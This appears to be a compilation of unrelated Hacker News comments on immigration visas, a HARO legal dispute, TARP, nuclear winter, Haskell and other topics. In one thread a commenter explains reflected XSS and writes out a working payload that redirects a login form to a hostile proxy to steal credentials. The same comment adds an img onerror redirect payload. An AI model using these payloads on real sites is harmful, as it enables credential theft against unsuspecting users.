skysight-inc/HackerNews huggingface dataset:
What do you mean you found an XSS "in his login form"?

The things you enter into a login form aren't normally displayed to any other users. If you mean you can run arbitrary JavaScript in your own browser, there are much easier ways to do that and you didn't find a vulnerability.
At which point, they will be connected to the ZyngaBook pleasure orbs and allowed to live the rest of their natural lives in engaging but meaningless bliss?
Well, it hasn't been disproven. http://arxiv.org/PS_cache/arxiv/pdf/0912/0912.1108v1.pdf
Wow, where in Fort Greene? That's pretty incredible.
You could post your browser/platform and what you were doing when it blew up so that they might fix it. Just a thought.
It's better because it moves the validation of the startup from USCIS, which is definitely not capable of this, to someone like an angel or VC.

What it seems to be saying is, if someone is willing to put a specified amount of money in the venture of an alien and hence prove to USCIS that there is some value in having these founders come to US, then US will give them Visa/permanent residency.

I do think that is a good idea.

Are there issues, sure, everything has issue. Name one perfect thing in the world. But this is definitely a step in the right direction.
You'd think so. But at Songkick, we thought that the friction point would be people installing the plugin, and it was surprising how many people downloaded it, even not knowing entirely what it did. (One thought that it would play free music, not monitor listening habits on iTunes.)
that would be incredibly damaging. luckily we don't actually do that.
Yes and then decided to give my take on it, much in the same way Gruber has given his take on it.

Neither of us know for sure why Apple did what they did.
Spoiler alert: if entering your name into google yields (on the first three pages) results about you, your online identity is good, otherwise it is not.
I can only assume that this is useful only for people that are not able to come to that conclusion by themself (this tool doesn't do any analysing, it just calculates based on the answers you give them)
Remember: abduction, gathering of data and spotting patterns.

Got the daily weather report for Athens for the years 150-100 BC?

Neolithic man had a deeply vested interest in the weather, but that doesn't change his advancement of weather science. The gods were useful for many thousands of years.

Sure, the general idea of watching the weather -- long history there. But that just proves my point. There was a huge gap between seeing and naming it, recording it, spotting patterns, making falsifiable theories, and making predictions. We're just at the "seeing and naming it" stage with climate science. The use of computer models hide this fact, sadly.
What do you mean, "what advantage?" That's like asking what advantage is it to have Harper's as well as The New Yorker, when you could just have one magazine instead. They publish different things! If you like periodic long-form articles about programming, then you have twice as many of them, that's the advantage!
I'm getting tired of people bashing Toyota. I recognize that it's a serious problem, but I think they did the right thing and I just feel like the media is trying to drag it out like it's some huge scandal.

(FWIW, I've never even owned a Toyota, but this recall does not make me any less likely to buy one in the future.)
Whether or not investors gain more this is still also a win for a certain group of entrepreneurs and I can't see how it is harmful for others outside that group. Since investors are the ones doing the legwork to lobby for this it's natural that they're working for themselves too.

For the rest... one thing that surprised me was how much easier it seems for Australians to setup here than Brits like myself. I speculate that our own government could do a lot more to lobby on our behalf themselves but are more concerned by the (short termist) fear of a serious brain drain.
Does a super angel investor pouring money into it guarantee success? Or the $1 mil revenues? And what when it doesn't work out?
sweeet.... looking forward the release of this one!
I was wondering the same thing.

I would like to think they ran analytic s on their traffic and noticed Safari as the browser they get the most visits from.
If you read the other articles on the site you'll see that he's either a troll or a crank.
Sounds like you're website is good enough to be a threat. Keep it up!
In my opinion, the author is just taking a basic interview question way to seriously. Granted, it's a silly question to ask somebody who has 15+ years experience.

But consider trying to hire people out of college (for a startup perhaps.) As these people don't generally have oodles of experience, you're left with having to ask them some questions about their basic knowledge instead of their experience.

Sheesh, Norman, just lighten up. ;-)
You're missing the point. Channeling energy to fixing what is ridiculously broken will likely yield better results. Where is the sense in creating another monster when you've got one in your front lawn?
In the early stage, it's more important to get the product right than find the biggest market. I'm guessing the developers use Safari, and they want to 'eat their own dog food'.
What wasn't part of the headline is something quite important: then I am truly sorry and I will be here for you and listen to everything you have to say.
> "I wonder how long it will be before more people realize this."

It is not in the interest of the ruling elite for this fact to become apparent. They control education and media, and have mastered the art of dividing society along various (ultimately facile and irrelevant) fault lines.

(Do you remember when Blue and Red state meme suddenly appeared out of nowhere like a cheap ready-made knockoff hanging in every one of our various media outlets? Is it a surprise that every time the country finally starts focusing on a substantial issue some completely random troll topic is pushed on queue; is the biggest problem facing USA the decision to allow gay marriage or to rescue this sinking ship of a state?)

"We don't have a two party system but we have a bi-factional ruling coalition."

You take that sentence and run it by a random sampling of 18 year olds in America. A certain proportion may be able to parse it; a subset of that may actually understand what is said; an even smaller subset would be able to reason about the proposition. Am I being completely pessimistic for thinking that the percentage that can even understand that as English is in single digit percentile?
Related Sivers article: http://sivers.org/trust-but-verify
Techmeme finds the right balance between "punch the monkey" and "camouflage." Their ads are styled like the rest of their site, so the cognitive bias against bright, flashing colors is diminished, but they're clearly denoted as being sponsored.
HARO is a good business for Peter Shankman, I just googled it and first link says $800K/year around the start of 2009[1].

The point being that it's probably not so much about him not liking that you mentioned him[2], as the fact that you're stepping onto his turf, and him wanting to defend it.

[1] = http://www.mediabistro.com/prnewser/news/adweek_haro_is_800k...

[2] = You write: "I’m pretty disappointed that Peter decided to be such a jackass about this. If he had bothered to write me an email, I would have gladly removed his name and never mentioned this to anyone."
Pending: Patent Enclosures Program - broadstuff
Ask HN: Please refactor my lazy library loading javascript
Once again a good example of "speak to an attorney before posting to Hacker News"...

Regardless of what your opinions are here, you need to speak to an attorney who can properly advise you before soapboxing.
He displayed the value you entered as the user as part of the error message when your login failed, as in "User jerf does not exist." No escaping. Login form used GET, not POST. (Not that that fixes it, but the querystring is that much easier to exploit.) Classic XSS.
I'm missing the basics for this one. Why does ++[[]][+[]] == 1?
Yeah, I know. It's just ridiculous, because he was (maybe still is?) the upstart in this space a couple years ago when he started a mailing list and now he's throwing around C&D notices like he's this great innovator in the space?
New Blade Design Reduces Helicopter Noise
Heresy Is a Cradle
That's a little misleading. His main claim to fame is his involvement in drafting XML standards.

That said, I'm not exactly sure why we're meant to care about him resigning from Oracle/Sun. Seriously - what exactly did he do there?
What makes you think I haven't?
I agree, completely. What I'd say to the US government: take in talented people (without worrying too much about exactly how they are talented, such as preferring engineers or scientists), give them the same autonomy and freedom you'd give a US citizen, and let them choose their own path in life. Quit thinking you know what they should do, they know better than you do. They'll impress you in ways you didn't expect, and it'll be better than you expected.

Get rid of this H1B, startup visa crap.

I've had huge disagreements with other people on HN about immigration, mainly because I do believe in limits (I oppose unlimited immigration), and I think that emphasizing engineering instead of general diversity of talent is harmful. But almost everyone seems to agree that freedom and autonomy are preferable to a government mandated purpose and skill set.
It might be worth looking at all the foreign students that the U.S. attracts. I was born in Germany, did 2 years of high school in the U.S. and am about to finish college here, too.

I got a big scholarship ($20k per year), which is subsidized by American students. The U.S. educated me, gave me $80,000 and now there is no easy way for me to stay and contribute to society (taxes?)?

I agree with the author but I hope this bill will at least get people thinking about the screwed up immigration policy in this country.
True Knowledge (AI question-answering platform) launches public beta
//Don't ask anyone to do something you're not willing to do yourself

So what happens to the kind of work that one would rather not do, but needs to be done?
Except that that part is only about things you truly can't change, - which isn't applicable to a lot of bitching, since people rarely bitch about things they can't change.
Welcome to the wooly world of business my friend. You're threatening an incumbent and he's lashing out. Peter has wrapped up his ego into HARO so expect him to take it personally.

Legally there's very little HARO can do except force you to defend a meritless case. I don't believe they have a leg to stand on. You're not violating copyright, or trademark in any form, and he doesn't have an issued patent.

The one real takeaway is never launch a business and credit the competitor on the site. It just gives them fuel to create legal hassles for you.

Next steps: Get a lawyer. Have your lawyer write a firm letter showing Shankman's lawyer that their claims are meritless and you will vigorously defend the case.

Meantime, this is a great PR coup for you. Tech blogs love a little drama, at least certain ones do. Use it for the free PR.

Disclaimer: I am not a lawyer. Though I have had to defend against bogus patent and copyright claims before.
The NLP engine isnt god though:
http://www.trueknowledge.com/q/was_jfk_killed_before_barack_...
For it to be a XSS, the javascript has to run in a different context (someone else browser). I'd say the issue you found is worrisome, but not in itself a vulnerability.
English is what people make of it. My blog was subtitled "passionate programming" for six years. Never once did I think of passionate programming as something one suffers for a few hours or days then burns out of with disillusion.

Have I been wrong all these years?

In any event, the second part of your reply is far more interesting, especially in conjunction with a recent HN front page page article suggesting that founders should give employees a bigger taste of early stage liquidation events.

For that reason, I am upmodding you.
Precisely. That's my entire argument. You summed it up well.

Agree on the _not unlimited immigration_ part, but when you let someone in by qualifying them, give them the freedom to pursue what they choose to, how they choose to.
It might be a failure of courage by our representatives; or maybe there are too many irons in the fire to get this done right. Not necessary to conjure up conspiracies, plenty of ordinary human reasons for this to take too long.
I can't edit it any more, I think because of it's been a while. Anyway I'm sure people will figure out.
Glad to see there is a prettier way of doing it in Haskell!

Do I understand then that this basically building up a sort of parallel language for expressions in Haskell which optimize really, really well?
Textmate-Minimap: A minimap plugin for TextMate
Stealth Mode is Stupid: Why Your Ideas Don't Matter
But reading can cause anxiety and wasted effort engineering around claims that may never be enforced, and may never hold up if enforced. Patent text is in its own arcane language, which takes significant time and effort to understand. (It is easy for skilled engineers to think they understand, but not.)

For developers without professional patent training, unless they've received a credible allegation (or lawsuit) of infringement from a patent-holder, or other business strategy considerations require them to do a patent survey, reading controversial patents is all cost, no benefit. This is especially true when the title or abstract piques interest.
Those links are great since really help you to "see" the relativity notes, which is one reason I like to experiment with my music notation.

http://en.wikipedia.org/wiki/Graphical_scores

*Here you can read more about Solitude, that crazy looking graphic at the top of the wiki article: http://at.or.at/hans/solitude/
I think you're overestimating how long it would take to get something usable put together, if you're only trying to make it usable by you. It took me about one hour to write the python scripts, and another hour to learn the appropriate LaTeX document class, and then I just opened up Aquamacs and started typing.

(A nice advantage of this is that I programmed it to tell me how far I've gotten on my daily word goals. I don't know any word processor that does exactly this, and it's really handy.)
I am not sure in what way it is misleading. Prior to his claim to fame in drafting XML, he was famous for using SGML in an effort to put The Dictionary onto CDROM, and famous for writing one of the first web crawlers, and founding the company Open Text.
* Does the transfer function not need to take some input other than the state?

It depends on how you're encoding things. You might want to supply the I in I/O as an extra parameter to the transfer function.

Or, you could kick off the execution with the state containing a (possibly infinite) sequence representing all of the I/O events it will encounter during execution.

For the most part, transfer functions operate on just states.

* Can you convert a denotational semantics to an operational semantics (and vice versa)? Is there any value in doing this?

Yes, Olivier Danvy has a strong research program in this area. He has a battery of techniques that allow you to (almost) mechanically calculate one kind of semantics from another.

In many cases, calculating an operational semantics from a denotational semantics is the easiest way to prove their equivalence.
I hear that Scrivener is good, but I don't always use a mac, and I'm a starving college student. I like having something free that I can use over SSH in a pinch.
This is a pretty poor comparison. You'd do better to cite a Congressional action that turned out to be a bad idea, like the Iraq War. When you cite TARP you're actually saying "the public is dumb and doesn't understand economics," which is a pretty accurate assessment, but not the one you were trying to make.

TARP probably saved us from a Great Depression, and IIRC the bailouts are in the black except for the segments bailing out the government mortgage banks and the car companies. FTR, the protests against Volcker's anti-inflation measures in the 70s were bigger, with farmers eventually blockading the Fed headquarters with their tractors. The protestors were wrong then, too.
There's nothing wrong with the incumbent defending his turf.

I personally think HARO needs a kick in the arse, quality and innovation wise.

Bring it on.
also his blog - http://www.tbray.org/ongoing/When/201x/2010/02/26/Noracle
Yet More on the Unfolding Future-of-Flash-and-the-Web Saga
His blog has an entry as well: http://www.tbray.org/ongoing/When/201x/2010/02/26/Noracle

He talks about how he really likes the people at Sun, does not mention the people at Oracle.
Why Flash Doesn’t Suck
Nor the difference between the radius of "complete destruction" and "lethal" when it comes to a nuclear weapon. It doesn't do you much good for your house to not be flattened if you've got a lethal dose of radiation.
Which isn't too surprising since perception constructed by the brain. :)

Touché. I really should have said something like "the subconscious can mess..." or "the lizard brain can mess...".
I'm confused... what's screwed up with our country's policy? Correct me if I'm wrong but doesn't Germany have the same policies??? I've lived in Germany for a year of my life on a work visa from a large German corporation. They paid for me to live, work and contribute to the companies success in Germany (and throughout EMEA for the record). How would it be my right to just quit my job at this corporation and go start up another company just because my original corporation gave me the opportunity to live there.

Your contribution is to society is taxes?? Not sure I really follow you there.
From his point of view, hey, it might have worked.

From our points of view: for the best that it didn't, plus he looks like an ass.
In a way. It's a subset of Haskell focused on array operations that optimize really really well. You can use these instead of list operations, basically, and getter performance in all sorts of ways.
More accurately, the government can prevent terrorist attacks, but that will take sophisticated and unpopular foreign policy measures. The Patriot Act, security theater, war, and other such nonsense is easier to sell to voters and lobbies.
Which rolls us right back around to the point made in the original article, which is that people just don't believe it's a problem until you damn well exploit it right in front of them. This can include programmers.

But to spell it out for you: Cross-site scripting includes as a vector the ability to cause a person to click on a hostile link and cause the resulting page to do something nasty and unexpected. Suppose I post a link in a forum that contains "?username=jerf'><script>document.forms[0].action="htt://hostileproxy.com/userscrape;something_to_hide_login_error()</script><span x='" and tell someone they have to log in. (I changed http to htt to bypass HN linkification.) Now their login goes to my proxy instead, which transparently steals the username and password, and bounces them back to the original site, leaving the user oblivious.

That's why I mentioned it used GET and not POST; it's somewhat harder to fake up a post in a forum (though it's not impossible, I've done it), but faking a "GET" is just a matter of typing the link in. Even if the forum displays the entire link, some people will click. Not everybody is a programmer.

As for whether this is a real threat, don't even try to tell me this isn't, because I've done this. I didn't steal any logins or do anything nasty, but I definitely got far enough to do it if I wanted to. (In fact, same problem: I tried to report it, and the site owner didn't believe it was a really-exploitable problem, either. Yeah... it was.) I don't even say this like it's a point of pride because it was like taking candy from a baby. Just start sticking ', ", and in the case of textareas, </textarea> in places they don't belong and you too will rapidly join the ranks of leet hacker.

(For double-bonus points, it is sometimes possible to create HTML content that will automatically fire Javascript off in a forum; try something like <img src="does.not.exist.jpg" onerror="window.location='htt://hostile.com'">, just as one for-instance. Now, use a browser vuln to load your choice of spyware onto the user's machine. XSS is more important than it seems; in some cases it can lead to your viewer's machines getting completely owned.)
I don't really get this. How many people can name their representatives or senators? My guess is about 10%. If they don't know who you are, they can't blame you for terrorist attacks.

(I know, your opponents and the media can blame you. Just mention something about how you're against gay marriage, or something, and people will forget all about terrorism...)
You know, the Democrats didn't have to renew the PATRIOT Act at all.

If they were serious about protecting civil liberties that's just what they'd do. And the Republicans couldn't have stopped them.
Indeed. The banks paid TARP back very quickly. I imagined it was going to be something that would take place over 30 or 50 years, but it happened in a matter of weeks. Not a bad investment on the government's part -- they might have even made some money!
What's neat about the OP's video is that it shows the "periodicity" of the various octaves.

Back in college (1996 or so -- it was on one of the first PowerPC macs) I put together an animation for a class project that was sort of a combination of the two using Bach's Invention #13.

The view was of traveling down a tunnel of a sort of swirly green fog. Each note was represented by a little yellow or magenta stripe painted on the inside of the tunnel, based on which "part" (i.e. hand) was playing it. The angular position was determined by the pitch (which wrapped around at each octave), and the length of the stripe was determined by the duration of the note. All in all it was a really effective way of visualizing the song.

I wish I would've videotaped it, because the source code is long gone and wouldn't run on modern hardware anyway.
This is very true, but contrary to what most people think the real danger isn't nuclear fallout but nuclear winter. Nuclear blasts kick up a lot of dust into the atmosphere, and even a few blasts can drastically alter the climate. A study a few years ago found that a nuclear war in which only 50 Hiroshima sized bombs were detonated could wreak havoc. See the wikipedia article on this topic: http://en.wikipedia.org/wiki/Nuclear_winter

The danger of nuclear winter has actually become worse, and it is not dependent on the size of the bombs. The problem is that urban areas are becoming more and more densely built up, and petroleum products (e.g. plastics) are more frequently being used as building materials. You don't need a truly huge bomb -- just one big enough to set fire to everything, so that it can't be extinguished. The energy released from burning all the plastic and wood and other flammable materials found in a modern city can be even greater than the bomb itself. Further, when plastic burns, it's very dirty, and all that smoke gets carried far into the atmosphere. It's the dust and debris and smoke that gets thrown into the upper atmosphere that does the real damage, blocking the sun and changing the climate.
What I'm bitching about: self-help style articles posted by their authors

What I'm doing to change it: pressed "flag"
I'm running Emerald Theme Manager on my Gnome-based Ubuntu laptop and it already looks great. However, it's nice to see innovation happening in the Gnome desktop.
An interesting idea. This would put it in the same class as a remarkably large number of emergent "senses" like our sense of distance or of weight, which are both effected by ancillary information.
Yet another reason to move your piracy startup to the Strait of Malacca